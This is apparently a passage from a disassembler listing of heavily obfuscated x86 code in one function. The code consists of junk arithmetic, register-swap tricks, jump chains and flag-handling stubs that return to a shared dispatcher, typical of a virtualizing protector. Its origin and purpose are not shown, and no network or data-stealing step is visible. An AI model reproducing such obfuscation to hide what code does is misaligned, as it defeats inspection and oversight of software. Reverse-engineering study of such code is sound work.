add esi, 1 xor edi, esi xor esi, edi xor edi, esi jmp loc_59C0A3 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcl word ptr [esp-3Eh+arg_34+2], cl pushf jmp loc_590A9B ; --------------------------------------------------------------------------- loc_59C9F9: ; CODE XREF: sub_580566+1DA0Dj pop edi add ebx, 17D21C0Eh add ebx, 790F7C3Dh add ebx, eax sub ebx, 790F7C3Dh sub ebx, 17D21C0Eh pop eax push ecx push edx jmp loc_598644 ; --------------------------------------------------------------------------- loc_59CA1C: ; CODE XREF: sub_580566+11C93j add edx, 53FA5B79h xor edx, 0F25BD404h sub esp, 4 mov [esp-44h+arg_3C], edi mov edi, 7D5915B3h add esi, edi pop edi add esi, 6C2234A9h add esi, edx sub esi, 6C2234A9h jmp loc_5955A3 ; --------------------------------------------------------------------------- loc_59CA4C: ; CODE XREF: sub_580566+174BFj pop edx push ebx mov ebx, 18060B0Fh add ecx, ebx mov ebx, [esp-4Ah+arg_40+2] push ecx jmp loc_592FBC ; --------------------------------------------------------------------------- loc_59CA5E: ; CODE XREF: sub_580566+165B1j pop edi pop ebp xchg ecx, [esp-4Ah+arg_40+2] mov esp, [esp-4Ah+arg_40+2] mov [esp-4Ah+arg_40+2], ebp mov ebp, esp add ebp, 4 push ebx push edx mov edx, 1F997701h mov ebx, edx pop edx jmp loc_5911D8 ; --------------------------------------------------------------------------- loc_59CA80: ; CODE XREF: sub_580566+1E210j mov [esp-46h+arg_3C+2], eax jmp loc_590A9B ; --------------------------------------------------------------------------- loc_59CA88: ; CODE XREF: sub_580566+1F94Cj add ebp, 4 jmp loc_59B68F ; --------------------------------------------------------------------------- loc_59CA90: ; CODE XREF: sub_580566+215C7j or eax, 75D5176Fh inc eax not eax neg eax not eax sub eax, 8808C08Ah add esi, eax jmp loc_5A2C06 ; --------------------------------------------------------------------------- loc_59CAA8: ; CODE XREF: sub_580566+2074Cj mov [esp-46h+arg_3C+2], esp add [esp-46h+arg_3C+2], 4 pop edi push eax jmp loc_59D6A4 ; --------------------------------------------------------------------------- loc_59CAB9: ; CODE XREF: sub_580566+16DBDj push eax push 0D196C28h jmp loc_59BCE1 ; --------------------------------------------------------------------------- loc_59CAC4: ; CODE XREF: sub_580566+19447j xchg eax, ecx not ecx jmp loc_59C366 ; --------------------------------------------------------------------------- push [esp-38h+arg_30] mov eax, [esp-34h+arg_2C] add esp, 4 push ebx push edi mov edi, esp add edi, 4 jmp loc_5925FE ; --------------------------------------------------------------------------- loc_59CAE4: ; CODE XREF: sub_580566+16C2Dj or eax, 79C87446h add eax, 1408B5h add edi, eax pop eax add edi, 4 xchg edi, [esp-4Ah+arg_40+2] pop esp loc_59CAFB: ; CODE XREF: sub_580566+17617j ; sub_580566+2206Aj sub esp, 4 mov [esp-4Ah+arg_40+2], edx sub esp, 4 mov [esp-46h+arg_3C+2], ebx pop edx push edx sub [esp-46h+arg_3C+2], 0B25344Ah push [esp-46h+arg_3C+2] pop eax jmp loc_5A4503 ; --------------------------------------------------------------------------- loc_59CB1C: ; CODE XREF: sub_580566+1B3A0j xor edi, ecx pop ecx add ecx, 29111F27h sub ecx, edi jmp loc_594879 ; --------------------------------------------------------------------------- loc_59CB2C: ; CODE XREF: sub_580566+20728j pop ebp push edx mov edx, 4 add ebp, edx pop edx push ebx jmp loc_59DBE4 ; --------------------------------------------------------------------------- loc_59CB3C: ; CODE XREF: sub_580566+1112Aj mov [esp-44h+arg_3C], ebp push 4B5E6795h pop ebp jmp loc_598600 ; --------------------------------------------------------------------------- loc_59CB4A: ; CODE XREF: sub_580566+107FDj not ebp jmp loc_5923EB ; --------------------------------------------------------------------------- loc_59CB51: ; CODE XREF: sub_580566+18A8Cj mov ebp, [esp-30h+arg_28] add esp, 4 or eax, 59707A8Ah sub eax, 5A3E7B80h jmp loc_59492F ; --------------------------------------------------------------------------- loc_59CB66: ; CODE XREF: sub_580566+1C637j pop ebx add esp, 4 xchg ecx, [esp-3Ch+arg_34] mov esp, [esp-3Ch+arg_34] xor eax, edx xor edx, eax xor eax, edx jmp loc_59B29D ; --------------------------------------------------------------------------- loc_59CB7E: ; CODE XREF: sub_580566+25489j mov ebx, [esp-3Ch+arg_34] add esp, 4 jmp loc_5A1FD9 ; --------------------------------------------------------------------------- loc_59CB89: ; CODE XREF: sub_580566+13FDFj pop ecx jmp loc_5A22ED ; --------------------------------------------------------------------------- loc_59CB8F: ; CODE XREF: sub_580566+1D95Dj add esi, 853386BBh add ebx, esi pop esi add ecx, ebx push [esp-46h+arg_3C+2] jmp loc_59CB66 ; --------------------------------------------------------------------------- loc_59CBA2: ; CODE XREF: sub_580566+225C4j or edx, 5E452D40h xor edx, 59C53818h jmp loc_5956B6 ; --------------------------------------------------------------------------- loc_59CBB3: ; CODE XREF: sub_580566+23427j pop cx dec bh jmp loc_59325E ; --------------------------------------------------------------------------- loc_59CBBC: ; CODE XREF: sub_580566+12691j add ebx, 1 push ebp mov ebp, 0E44911A2h add ebx, 565947E2h sub ebx, ebp sub ebx, 565947E2h jmp loc_5A0024 ; --------------------------------------------------------------------------- loc_59CBD8: ; CODE XREF: sub_580566+10FB9j mov eax, [esp-22h+arg_1A] jmp loc_596895 ; --------------------------------------------------------------------------- loc_59CBE0: ; CODE XREF: sub_580566+192E2j add edi, eax pop eax jmp loc_5A3155 ; --------------------------------------------------------------------------- loc_59CBE8: ; CODE XREF: sub_580566+10A75j push [esp-42h+arg_38+2] mov eax, [esp-3Eh+arg_34+2] add esp, 4 push ebp mov ebp, esp add ebp, 4 add ebp, 4 push ebp jmp loc_598B8C ; --------------------------------------------------------------------------- loc_59CC03: ; CODE XREF: sub_580566+1D36Bj mov eax, 139763F8h jmp loc_59B0CA ; --------------------------------------------------------------------------- loc_59CC0D: ; CODE XREF: sub_580566+252D5j add esp, 4 shr edi, 7 jmp loc_59BE0E ; --------------------------------------------------------------------------- loc_59CC18: ; CODE XREF: sub_580566+1330Ej or ebp, 4E2852FCh add ebp, 56327A03h mov edi, ebp pop ebp add edi, edx pop edx jmp loc_59B9AA ; --------------------------------------------------------------------------- loc_59CC2F: ; CODE XREF: sub_580566+23F6Fj add esp, 4 add ebx, eax jmp loc_5950B6 ; --------------------------------------------------------------------------- loc_59CC39: ; CODE XREF: sub_580566+22330j add eax, 2243071Eh sub eax, 7F460085h add eax, ebp add eax, 7F460085h push edx jmp loc_598D21 ; --------------------------------------------------------------------------- loc_59CC50: ; CODE XREF: sub_580566+17B9Aj push [esp-32h+arg_28+2] pop esi push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp-2Eh+arg_24+2] jmp loc_5A2226 ; --------------------------------------------------------------------------- loc_59CC68: ; CODE XREF: sub_580566+153B1j add ebp, 72D82032h sub ebp, 8DFE730Ch mov esi, ebp pop ebp jmp loc_59E1FC ; --------------------------------------------------------------------------- loc_59CC7C: ; CODE XREF: sub_580566+24B9Ej pop esp mov [esp-46h+arg_3C+2], esi push eax push edi mov edi, 4F795879h or edi, 62EE709Ah shr edi, 3 not edi or edi, 5F1C11BDh add edi, 57EE1959h mov eax, edi pop edi shr eax, 2 push ebp push eax mov eax, 55103C91h mov ebp, 582731C2h xor ebp, eax pop eax jmp loc_5999E6 ; --------------------------------------------------------------------------- loc_59CCB8: ; CODE XREF: sub_580566+21942j mov eax, [esp-3Eh+arg_34+2] add esp, 4 jmp loc_59B03F ; --------------------------------------------------------------------------- loc_59CCC3: ; CODE XREF: sub_580566+15E36j mov eax, 1F9214Eh add esi, eax pop eax jmp loc_59E000 ; --------------------------------------------------------------------------- loc_59CCD0: ; CODE XREF: sub_580566+1EE50j pop edx add edx, 4 sub edx, 4 xchg edx, [esp-1Ch+arg_12+2] pop esp mov [esp-20h+arg_16+2], esi mov esi, 2BD238CEh jmp loc_5A5767 ; --------------------------------------------------------------------------- loc_59CCEB: ; CODE XREF: sub_580566+25074j mov bp, 5F5Bh shr bp, 2 shr bp, 5 neg bp or bp, 3E52h jmp loc_5992B0 ; --------------------------------------------------------------------------- loc_59CD04: ; CODE XREF: sub_580566+15B22j mov esp, [esp-4Eh+arg_44+2] add esi, ebp push edx mov edx, 2B414E74h sub esi, 49F94ABAh add esi, edx jmp loc_594D26 ; --------------------------------------------------------------------------- loc_59CD1C: ; CODE XREF: sub_580566+1625Cj add edi, 5866981Ah add eax, edi mov edi, [esp-52h+arg_48+2] add esp, 4 add esi, 79314487h sub esi, 0AE20C01h add esi, eax add esi, 0AE20C01h sub esi, 79314487h pop eax add esi, 2 xor esi, [esp-5Ah+arg_52] xor [esp-5Ah+arg_52], esi jmp loc_595907 ; --------------------------------------------------------------------------- loc_59CD56: ; CODE XREF: sub_580566+1862Aj pop ebp pop [esp-4Ah+arg_40+2] pop esp sub eax, 27887610h add eax, ebp jmp loc_5A4EFB ; --------------------------------------------------------------------------- loc_59CD67: ; CODE XREF: sub_580566+19576j mov [esp-30h+arg_28], edi push 5627h sub esp, 4 mov [esp-28h+arg_20], esp push ebp mov ebp, 4 jmp loc_5A1505 ; --------------------------------------------------------------------------- loc_59CD80: ; CODE XREF: sub_580566+1FC2Fj mov ebp, [esp-24h+arg_1A+2] push edx mov edx, esp push eax mov eax, 4 jmp loc_599D3A ; --------------------------------------------------------------------------- loc_59CD91: ; CODE XREF: sub_580566+14552j sub bl, cl jmp loc_5A23F4 ; --------------------------------------------------------------------------- loc_59CD98: ; CODE XREF: sub_580566+22F8Bj mov [esp-32h+arg_28+2], ecx jmp loc_59A608 ; --------------------------------------------------------------------------- loc_59CDA0: ; CODE XREF: sub_580566+22985j mov ecx, 2C292C96h push ebx mov ebx, 0CBE07A1h jmp loc_59DCF6 ; --------------------------------------------------------------------------- loc_59CDB0: ; CODE XREF: sub_580566+254EDj pop [esp-2Eh+arg_24+2] push 5D6Eh jmp loc_59752E ; --------------------------------------------------------------------------- loc_59CDBD: ; CODE XREF: sub_580566+2317Aj xor dl, 47h sub dl, 7Bh add bl, dl jmp loc_592EDE ; --------------------------------------------------------------------------- loc_59CDCA: ; CODE XREF: sub_580566+20B45j add ecx, 50D675C1h shr ecx, 5 xor ecx, 4E9D2C9Fh sub ebp, ecx mov ecx, [esp-2Eh+arg_24+2] add esp, 4 sub esi, 6C930515h add esi, ebp jmp loc_5A04C0 ; --------------------------------------------------------------------------- loc_59CDEE: ; CODE XREF: sub_580566+1644Bj pop edi jmp loc_5A32DC ; --------------------------------------------------------------------------- loc_59CDF4: ; CODE XREF: sub_580566+12ECBj pop edx xor ecx, 1AC71A3Ch add edi, 68CC217Ch sub edi, ecx push 2CFFh mov [esp-2Ch+arg_24], esi mov esi, 20341A93h sub esi, 0B767F917h add edi, 7B106ECCh jmp loc_59A021 ; --------------------------------------------------------------------------- loc_59CE21: ; CODE XREF: sub_580566+243A2j sub esi, 58417BD7h not esi sub esi, 70F46853h sub eax, esi pop esi push eax mov eax, 4B6802E9h or eax, 3665807h add eax, 66D02F39h xor eax, 0A1E4EB3Fh add edi, eax pop eax jmp loc_5A5641 ; --------------------------------------------------------------------------- loc_59CE4F: ; CODE XREF: sub_580566+11990j mov [esp-52h+arg_48+2], ebp jmp loc_598A17 ; --------------------------------------------------------------------------- loc_59CE57: ; CODE XREF: sub_580566+1AC42j sub esp, 4 mov [esp-4Eh+arg_44+2], ebp push 2 pop ebp push ecx mov ecx, 64D43AFAh or ecx, 1A692CC8h add ecx, 0D81E322Eh add edx, ecx jmp loc_597D68 ; --------------------------------------------------------------------------- loc_59CE7C: ; CODE XREF: sub_580566+1517Ej mov edx, [esp-0Eh+arg_8+2] add esp, 4 add edi, edx sub edi, 28F50733h pop edx sub edi, 4573456Ah add edi, ecx jmp loc_5A1942 ; --------------------------------------------------------------------------- loc_59CE98: ; CODE XREF: sub_580566+1C1EEj mov [esp-46h+arg_3C+2], esp jmp loc_592967 ; --------------------------------------------------------------------------- loc_59CEA0: ; CODE XREF: sub_580566+23AB9j push [esp-46h+arg_3C+2] push [esp-42h+arg_38+2] pop ebx add esp, 4 sub esp, 4 mov [esp-42h+arg_38+2], eax jmp loc_5A10F7 ; --------------------------------------------------------------------------- loc_59CEB8: ; CODE XREF: sub_580566+1A2D5j mov ebp, 24C127F6h sub ebp, 24C127F2h jmp loc_59FEB7 ; --------------------------------------------------------------------------- loc_59CEC8: ; CODE XREF: sub_580566+12DD3j pop edi mov edx, 5C8C13CBh xor edx, eax mov eax, [esp-38h+arg_30] add esp, 4 jmp loc_59997D ; --------------------------------------------------------------------------- loc_59CEDE: ; CODE XREF: sub_580566+183C6j add ebp, 2 xor ebp, [esp-34h+arg_2C] jmp loc_5953F1 ; --------------------------------------------------------------------------- loc_59CEEC: ; CODE XREF: sub_580566+20987j mov edi, [esp-34h+arg_2C] jmp loc_5981A2 ; --------------------------------------------------------------------------- loc_59CEF4: ; CODE XREF: sub_580566+147B3j push esp pop ecx push edi mov edi, 4 jmp loc_5A5BA7 ; --------------------------------------------------------------------------- loc_59CF01: ; CODE XREF: sub_580566+114C8j mov [esp-2Eh+arg_24+2], edx jmp loc_59AD93 ; --------------------------------------------------------------------------- loc_59CF09: ; CODE XREF: sub_580566+12872j add esp, 4 add esi, 4 push ecx push edi push 2C7B70EDh pop edi jmp loc_5A1D8A ; --------------------------------------------------------------------------- loc_59CF1F: ; CODE XREF: sub_580566+24E7Bj shl dh, 3 add dh, 1Ah sub al, dh pop edx jmp loc_59BE38 ; --------------------------------------------------------------------------- loc_59CF2D: ; CODE XREF: sub_580566+1A095j mov esp, [esp-1Eh+arg_16] pop [esp-1Eh+arg_16] jmp loc_590A9B ; --------------------------------------------------------------------------- loc_59CF38: ; CODE XREF: sub_580566+1F913j push ebx jmp loc_595BA3 ; --------------------------------------------------------------------------- loc_59CF3E: ; CODE XREF: sub_580566+1B989j add edx, 4 push ecx mov ecx, 4 jmp loc_5985B7 ; --------------------------------------------------------------------------- loc_59CF4F: ; CODE XREF: sub_580566+105ADj push esi mov esi, 258C48A7h shr esi, 1 sub esi, 79F40EC5h not esi shr esi, 6 xor esi, 1ECAAE77h sub edi, esi pop esi pop ebx add edi, 4 xchg edi, [esp-5Ah+arg_52] pop esp xor bl, al jmp loc_5A1CFF ; --------------------------------------------------------------------------- loc_59CF7D: ; CODE XREF: sub_580566+1642Aj add esp, 4 push ecx jmp loc_59D679 ; --------------------------------------------------------------------------- loc_59CF86: ; CODE XREF: sub_580566+19A49j mov esp, [esp-56h+arg_4E] jmp loc_59E115 ; --------------------------------------------------------------------------- loc_59CF8E: ; CODE XREF: sub_580566+23F44j xchg esi, [esp-56h+arg_4E] pop esp jmp loc_59B7BA ; --------------------------------------------------------------------------- loc_59CF97: ; CODE XREF: sub_580566+163E2j add [esp-14h+arg_E+2], edi pop edi jmp loc_591313 ; --------------------------------------------------------------------------- loc_59CFA1: ; CODE XREF: sub_580566+22445j xchg ebx, [esp-18h+arg_E+2] pop esp pop ebx xchg ecx, ebx not ecx jmp loc_59229B ; --------------------------------------------------------------------------- loc_59CFAF: ; CODE XREF: sub_580566+1AEDFj pop edi not ebx xor ebx, 0ED81F4CCh push ebx xor [esp-38h+arg_30], 44A6106Dh pop ebp xor ebp, 44A6106Dh pop ebx add [esp-40h+arg_3C], ebp mov ebp, [esp-40h+arg_38] jmp loc_59ADB4 ; --------------------------------------------------------------------------- loc_59CFD4: ; CODE XREF: sub_580566+1363Ej sub esp, 4 jmp loc_5945F6 ; --------------------------------------------------------------------------- loc_59CFDC: ; CODE XREF: sub_580566+1180Fj pop ecx xchg eax, [esp-50h+arg_48] mov esp, [esp-50h+arg_48] mov ax, word ptr [esp-50h+arg_48] push esi push esp pop esi jmp loc_599DDA ; --------------------------------------------------------------------------- loc_59CFEF: ; CODE XREF: sub_580566+10D49j shl eax, 8 sub eax, 21892FFFh sub ebx, eax pop eax inc ebx shl ebx, 1 push ebp mov ebp, 0BBD024Ah sub ebp, 6EA50E00h and ebp, 97730E9h jmp loc_592785 ; --------------------------------------------------------------------------- loc_59D014: ; CODE XREF: sub_580566+19412j shr ebx, 6 add ebx, 0FEBE1F1Eh jmp loc_5A2FD0 ; --------------------------------------------------------------------------- loc_59D022: ; CODE XREF: sub_580566+13011j push edx mov dl, 52h sub dl, 67h push ecx push eax jmp loc_5A3C7A ; --------------------------------------------------------------------------- loc_59D02F: ; CODE XREF: sub_580566+1D485j sub esp, 4 mov [esp-2Ch+arg_24], ebx sub esp, 4 jmp loc_5A16A9 ; --------------------------------------------------------------------------- loc_59D03D: ; CODE XREF: sub_580566+1FEE7j push edi jmp loc_591326 ; --------------------------------------------------------------------------- loc_59D043: ; CODE XREF: sub_580566+1CC81j add ebx, 0AAAA35Ah mov esi, ebx pop ebx xor eax, esi mov esi, [esp-28h+arg_20] add esp, 4 push ebp jmp loc_5A2E69 ; --------------------------------------------------------------------------- loc_59D05A: ; CODE XREF: sub_580566+249E4j sub esi, 818AA519h mov edi, esi mov esi, [esp-28h+arg_20] push ecx mov ecx, esp add ecx, 4 push esi push ebp jmp loc_59590F ; --------------------------------------------------------------------------- loc_59D075: ; CODE XREF: sub_580566+12765j push cx push ax mov al, dh mov dh, byte ptr [esp-3Ah+arg_34+1] mov byte ptr [esp-3Ah+arg_34+1], al pop ax xor dh, ah jmp loc_5A3F83 ; --------------------------------------------------------------------------- loc_59D08C: ; CODE XREF: sub_580566+15EBAj pop esi add esp, 4 xor ecx, [esp-34h+arg_2C] jmp loc_594B95 ; --------------------------------------------------------------------------- loc_59D09B: ; CODE XREF: sub_580566+1BECAj add esp, 4 xor esi, [esp-58h+arg_4E+2] xor [esp-58h+arg_4E+2], esi xor esi, [esp-58h+arg_4E+2] jmp loc_59B191 ; --------------------------------------------------------------------------- loc_59D0AF: ; CODE XREF: sub_580566+1753Fj xor esi, 7ABA3997h jmp loc_59FF74 ; --------------------------------------------------------------------------- loc_59D0BA: ; CODE XREF: sub_580566+2210Bj dec eax or eax, 2E8E1F72h inc eax add eax, 0D461148Ch mov ebx, eax pop eax not ebx jmp loc_59A78F ; --------------------------------------------------------------------------- loc_59D0D0: ; CODE XREF: sub_580566+13DDBj mov ebx, [esp-38h+arg_30] jmp loc_5A033A ; --------------------------------------------------------------------------- loc_59D0D8: ; CODE XREF: sub_580566+230FFj mov esi, 252E2E3Ch mov eax, 3F62F58Ch add eax, esi jmp loc_594914 ; --------------------------------------------------------------------------- loc_59D0E9: ; CODE XREF: sub_580566+16A2Dj shr edx, 1 jmp loc_5A5824 ; --------------------------------------------------------------------------- loc_59D0F0: ; CODE XREF: sub_580566+19323j mov [esp-38h+arg_30], ecx jmp loc_59917C ; --------------------------------------------------------------------------- loc_59D0F8: ; CODE XREF: sub_580566+22E0Ej not cl shl cl, 5 xor cl, 23h sub bl, 63h jmp loc_59326D ; --------------------------------------------------------------------------- loc_59D108: ; CODE XREF: sub_580566+200EEj mov eax, [esp-38h+arg_30] add esp, 4 push 6A11h mov [esp-38h+arg_30], ebx sub [esp-38h+arg_30], 12AC71C2h jmp loc_5975BB ; --------------------------------------------------------------------------- loc_59D122: ; CODE XREF: sub_580566+22A2Fj mov [esp-38h+arg_30], esi jmp loc_59B3EC ; --------------------------------------------------------------------------- loc_59D12A: ; CODE XREF: sub_580566+156E6j sub edi, edx pop edx mov eax, edi pop edi sub eax, 67C558D9h xor eax, 0AF0271h add eax, 26DAF6F7h add ecx, eax pop eax push edx mov edx, 21AA5CDFh push esi mov esi, 7FF95430h neg esi xor esi, 4FA178B5h xor esi, 3CB82F1Dh inc esi sub esi, 0C79CD044h and edx, esi mov esi, [esp-50h+arg_48] jmp loc_59113E ; --------------------------------------------------------------------------- loc_59D16D: ; CODE XREF: sub_580566+1C2A4j pop eax add ebx, 70C17008h neg ebx jmp loc_593A80 ; --------------------------------------------------------------------------- loc_59D17B: ; CODE XREF: sub_580566+117FBj add edi, 0B34CB76Eh jmp loc_591667 ; --------------------------------------------------------------------------- loc_59D186: ; CODE XREF: sub_580566+121D5j inc ah shr ah, 5 jmp loc_598D6D ; --------------------------------------------------------------------------- loc_59D190: ; CODE XREF: sub_580566+18FB3j mov ecx, [esp-3Ch+arg_34] add esp, 4 jmp loc_5A5308 ; --------------------------------------------------------------------------- loc_59D19B: ; CODE XREF: sub_580566+1960Cj sub ebx, eax jmp loc_5A3E2A ; --------------------------------------------------------------------------- loc_59D1A2: ; CODE XREF: sub_580566+180D9j sub edx, 5515ADFh pop eax add edx, 2 xchg edx, [esp-42h+arg_38+2] mov esp, [esp-42h+arg_38+2] push bx push 7BEAh jmp loc_599B77 ; --------------------------------------------------------------------------- loc_59D1BE: ; CODE XREF: sub_580566+19E7Dj add ebx, esi mov esi, [esp-3Ah+arg_30+2] add esp, 4 push 6E7h mov [esp-3Ah+arg_30+2], esi push edi mov edi, 3A240802h jmp loc_599651 ; --------------------------------------------------------------------------- lodsb jmp loc_59AEA9 ; --------------------------------------------------------------------------- loc_59D1E2: ; CODE XREF: sub_580566+1252Ej mov ebx, 6E5475D9h jmp loc_59D043 ; --------------------------------------------------------------------------- loc_59D1EC: ; CODE XREF: sub_580566+121B6j push eax mov al, 0F8h inc al jmp loc_5A4F1B ; --------------------------------------------------------------------------- loc_59D1F6: ; CODE XREF: sub_580566+14E70j pop esi jmp loc_596F65 ; --------------------------------------------------------------------------- loc_59D1FC: ; CODE XREF: sub_580566+1973Fj push ebx mov ebx, 47B25B55h jmp loc_594F87 ; --------------------------------------------------------------------------- loc_59D207: ; CODE XREF: sub_580566+21402j inc edi jmp loc_599171 ; --------------------------------------------------------------------------- loc_59D20D: ; CODE XREF: sub_580566+22054j push eax push ecx mov ecx, 11DE5AADh mov eax, 11DE5AA9h jmp loc_595421 ; --------------------------------------------------------------------------- loc_59D21E: ; CODE XREF: sub_580566+1A6EFj push eax mov al, 0B8h shl al, 2 and al, 0DAh jmp loc_591642 ; --------------------------------------------------------------------------- loc_59D22B: ; CODE XREF: sub_580566+1865Ej mov esi, 29AD5A9Ch mov edx, esi pop esi push esi jmp loc_5986E8 ; --------------------------------------------------------------------------- loc_59D239: ; CODE XREF: sub_580566+207BEj push esi not [esp-14h+arg_A+2] pop esi jmp loc_593DB5 ; --------------------------------------------------------------------------- loc_59D243: ; CODE XREF: sub_580566+145BCj pop edi xor edx, edi push [esp-50h+arg_48] jmp loc_59B54F ; --------------------------------------------------------------------------- loc_59D24E: ; CODE XREF: sub_580566+19105j pop ebx add esi, 5EDB3F25h jmp loc_59B41B ; --------------------------------------------------------------------------- loc_59D25A: ; CODE XREF: sub_580566+195F8j push edx mov edx, 37416B39h jmp loc_59D8A8 ; --------------------------------------------------------------------------- loc_59D265: ; CODE XREF: sub_580566+203A9j add esi, edx jmp loc_595689 ; --------------------------------------------------------------------------- loc_59D26C: ; CODE XREF: sub_580566+1D5F1j shl eax, 4 jmp loc_598BFB ; --------------------------------------------------------------------------- loc_59D274: ; CODE XREF: sub_580566+20A47j sub ebp, eax pop eax jmp loc_59399C ; --------------------------------------------------------------------------- loc_59D27C: ; CODE XREF: sub_580566+239E8j add bl, 38h mov dx, word ptr [esp-34h+arg_2C] push 151h jmp loc_596476 ; --------------------------------------------------------------------------- loc_59D28D: ; CODE XREF: sub_580566+1D574j mov edx, [esp-30h+arg_28] add esp, 4 push ebp jmp loc_59EAB8 ; --------------------------------------------------------------------------- loc_59D29C: ; CODE XREF: sub_580566+20365j push ebx mov ebx, 4 add ecx, ebx pop ebx jmp loc_5A4035 ; --------------------------------------------------------------------------- loc_59D2AA: ; CODE XREF: sub_580566+20B8Cj xor bl, al movzx eax, al push dword ptr [edi+eax*4] push [esp-2Ch+arg_24] push [esp-28h+arg_20] pop eax push edx push esp pop edx sub esp, 4 mov [esp-20h+arg_16+2], edi jmp loc_592EA7 ; --------------------------------------------------------------------------- loc_59D2CA: ; CODE XREF: sub_580566+1F176j mov ecx, esp add ecx, 4 jmp loc_5924F8 ; --------------------------------------------------------------------------- loc_59D2D7: ; CODE XREF: sub_580566+1A5CDj shl edx, 2 sub esp, 4 mov [esp-38h+arg_30], eax jmp loc_597348 ; --------------------------------------------------------------------------- loc_59D2E8: ; CODE XREF: sub_580566+14016j pop edx jmp loc_5A2E8A ; --------------------------------------------------------------------------- loc_59D2EE: ; CODE XREF: sub_580566+164A5j mov esp, [esp-4Ah+arg_40+2] cmp cx, ax pushf jmp loc_590A9B ; --------------------------------------------------------------------------- loc_59D2FA: ; CODE XREF: sub_580566+161B0j mov [esp-3Ch+arg_34], eax add [esp-3Ch+arg_34], 7EF979BEh pop edx push ebx mov ebx, 7EF979BEh sub esp, 4 jmp loc_5922F1 ; --------------------------------------------------------------------------- loc_59D313: ; CODE XREF: sub_580566+1B424j mov esi, 4963018Dh and esi, 3D7C0EC1h jmp loc_598544 ; --------------------------------------------------------------------------- loc_59D323: ; CODE XREF: sub_580566+1B597j add ecx, edx pop edx xchg ecx, [esp-3Ah+arg_30+2] jmp loc_5A44F2 ; --------------------------------------------------------------------------- loc_59D32E: ; CODE XREF: sub_580566+2059Cj push 575Eh mov [esp-36h+arg_2C+2], edx push esp pop edx sub esp, 4 mov [esp-32h+arg_28+2], ecx mov ecx, 627B237Ch shl ecx, 6 and ecx, 1EEB7FCCh xor ecx, 3F5E34A8h push ebp jmp loc_592DDD ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop eax adc [esp-32h+arg_28+2], eax pushf jmp loc_590A9B ; --------------------------------------------------------------------------- loc_59D369: ; CODE XREF: sub_580566+114BEj mov ecx, 4A3301D7h sub eax, 6ECA5173h sub eax, ecx jmp loc_5A0A7E ; --------------------------------------------------------------------------- loc_59D37A: ; CODE XREF: sub_580566+1E722j xchg edx, [esp-32h+arg_28+2] pop esp jmp loc_594F29 ; --------------------------------------------------------------------------- loc_59D383: ; CODE XREF: sub_580566+22972j add esp, 4 and eax, edi jmp loc_5A00D8 ; --------------------------------------------------------------------------- loc_59D390: ; CODE XREF: sub_580566+1EAA7j add eax, 4 add eax, 4 xchg eax, [esp-3Ah+arg_30+2] pop esp mul ecx jmp loc_599E8C ; --------------------------------------------------------------------------- loc_59D3A3: ; CODE XREF: sub_580566+21698j xor ch, 0B2h sub bh, ch pop ecx push edx jmp loc_59E331 ; --------------------------------------------------------------------------- loc_59D3AF: ; CODE XREF: sub_580566+11B3Ej jmp loc_590A9B ; --------------------------------------------------------------------------- loc_59D3B4: ; CODE XREF: sub_580566+193F4j sub edi, 0C46E4452h sub eax, edi pop edi jmp loc_59FBD4 ; --------------------------------------------------------------------------- loc_59D3C2: ; CODE XREF: sub_580566+1EAD2j sub edx, eax pop eax add edx, 46302D8h sub edx, 5F2A76BEh mov eax, [esp-38h+arg_30] jmp loc_596B04 ; --------------------------------------------------------------------------- loc_59D3D9: ; CODE XREF: sub_580566+207ABj add ebx, edi jmp loc_591DC7 ; --------------------------------------------------------------------------- loc_59D3E0: ; CODE XREF: sub_580566+23277j ror [esp-38h+arg_30], cl pushf jmp loc_590A9B ; --------------------------------------------------------------------------- loc_59D3E9: ; CODE XREF: sub_580566+16E7Fj push ebx push eax mov ah, dl mov bh, ah pop eax mov dl, byte ptr [esp-46h+arg_40+2] jmp loc_59B01F ; --------------------------------------------------------------------------- loc_59D3F9: ; CODE XREF: sub_580566+14967j pop ebx pop [esp-4Eh+arg_44+2] mov esp, [esp-52h+arg_48+2] pop eax push eax mov ah, 12h push ebx mov bh, 0Ah sub bh, 0B1h or ah, bh pop ebx jmp loc_5977D2 ; --------------------------------------------------------------------------- loc_59D412: ; CODE XREF: sub_580566+18ED4j pop esp mov [edx], al pop edx jmp loc_590A9B ; --------------------------------------------------------------------------- loc_59D41B: ; CODE XREF: sub_580566+197D7j add edx, 4 xchg edx, [esp-3Ch+arg_34] pop esp pop [esp-40h+arg_38] mov esp, [esp-44h+arg_3C] push edx push esp mov edx, [esp-3Ch+arg_34] add esp, 4 push eax push ebx push 65CB1342h pop ebx sub ebx, 67BA4A27h add ebx, 1A554B95h sub ebx, 186614ACh mov eax, ebx pop ebx add edx, 463D0EFDh add edx, eax sub edx, 463D0EFDh pop eax push eax mov eax, 4 add edx, eax mov eax, [esp-3Ch+arg_34] jmp loc_594154 ; --------------------------------------------------------------------------- loc_59D46F: ; CODE XREF: sub_580566+19CB6j pop esp mov cx, word ptr [esp-40h+arg_38] jmp loc_5957BC ; --------------------------------------------------------------------------- loc_59D479: ; CODE XREF: sub_580566+240E9j pop eax sub esi, edi pop edi add esi, eax add esi, 3D5F5AB1h mov eax, [esp-48h+arg_40] push ecx mov ecx, esp jmp loc_5A5685 ; --------------------------------------------------------------------------- loc_59D490: ; CODE XREF: sub_580566+17F99j add edx, 4 add edx, 4 jmp loc_5953AF ; --------------------------------------------------------------------------- loc_59D49E: ; CODE XREF: sub_580566+126DEj push [esp-44h+arg_3C] jmp loc_5A2124 ; --------------------------------------------------------------------------- loc_59D4A6: ; CODE XREF: sub_580566+132F8j mov ebp, 4 add esi, ebp mov ebp, [esp-2Eh+arg_24+2] push ecx jmp loc_59FC24 ; --------------------------------------------------------------------------- loc_59D4B6: ; CODE XREF: sub_580566+20AF1j mov ebp, esp add ebp, 4 push ecx mov ecx, 4 add ebp, ecx jmp loc_59D9F0 ; --------------------------------------------------------------------------- loc_59D4CB: ; CODE XREF: sub_580566+149DCj pop ebx add [esp-48h+arg_44], eax mov eax, [esp-48h+arg_40] add esp, 4 mov ebx, [esp-4Ch+arg_44] add esp, 4 push ebp mov ebp, 7B0E7B04h sub ebx, 1B5783Ah jmp loc_5A3DBA ; --------------------------------------------------------------------------- loc_59D4ED: ; CODE XREF: sub_580566+11247j push edi push esp pop edi jmp loc_59FA27 ; --------------------------------------------------------------------------- loc_59D4F5: ; CODE XREF: sub_580566+10569j push [esp-5Ah+arg_52] jmp loc_59FAC8 